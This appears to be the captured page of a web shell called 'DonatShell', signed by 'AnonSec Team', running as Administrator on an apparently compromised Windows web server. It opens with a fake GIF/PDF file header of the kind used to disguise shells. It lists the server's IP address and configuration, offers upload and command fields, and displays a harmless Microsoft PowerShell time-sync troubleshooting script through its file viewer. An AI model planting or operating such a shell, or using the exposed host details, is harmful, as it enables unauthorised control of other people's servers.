GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/diagnostics/system/WindowsUpdate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/diagnostics/system/WindowsUpdate/RS_DateTime.ps1
# Copyright © 2017, Microsoft Corporation. All rights reserved.
# =============================================================
# Load Utilities
# =============================================================
. .\CL_Service.ps1
. .\CL_SetupEnv.ps1

# =============================================================
# Functions
# =============================================================

# function to get time synchronization type
function GetTimeSyncType 
{
    [string]$result = ""
    [string]$registryKey = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\Parameters"
    [string]$registryKeyName = "Type"

    if(Test-Path $registryKey) 
	{
        $registryEntry = Get-Item -Path $registryKey
        if($null -ne $registryEntry) 
		{
            $result = $registryEntry.GetValue($registryKeyName)
        }
    }
    return $result
}

# function to update time synchronization type
function UpdateTimeSyncType([string]$type) 
{
    [string]$registryKey = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters"
    [string]$registryKeyName = "Type"

    [Microsoft.Win32.Registry]::SetValue($registryKey, $registryKeyName, $type)
}

# function to restart w32time service
function RestartW32timeService 
{
    try 
	{
        Stop-Service w32time
        WaitFor-ServiceStatus "w32time" ([ServiceProcess.ServiceControllerStatus]::Stopped)
    } finally {
        Start-Service w32time
        WaitFor-ServiceStatus "w32time" ([ServiceProcess.ServiceControllerStatus]::Running)
    }
}

# ==============================================================
# Main
# ==============================================================

# Time sync (time.windows.com is the default Windows time server)
if(Test-DomainJoined)
{
	if("NoSync" -eq (GetTimeSyncType)) {
        UpdateTimeSyncType "NT5DS"
    }
    RestartW32timeService

    w32tm.exe /resync /rediscover
}
else
{
	if("NoSync" -eq (GetTimeSyncType)) {
        UpdateTimeSyncType "NTP"
    }
    RestartW32timeService

    Update-TimeSource "time.windows.com"
    w32tm.exe /resync /force
}

Anon7 - 2022
AnonSec Team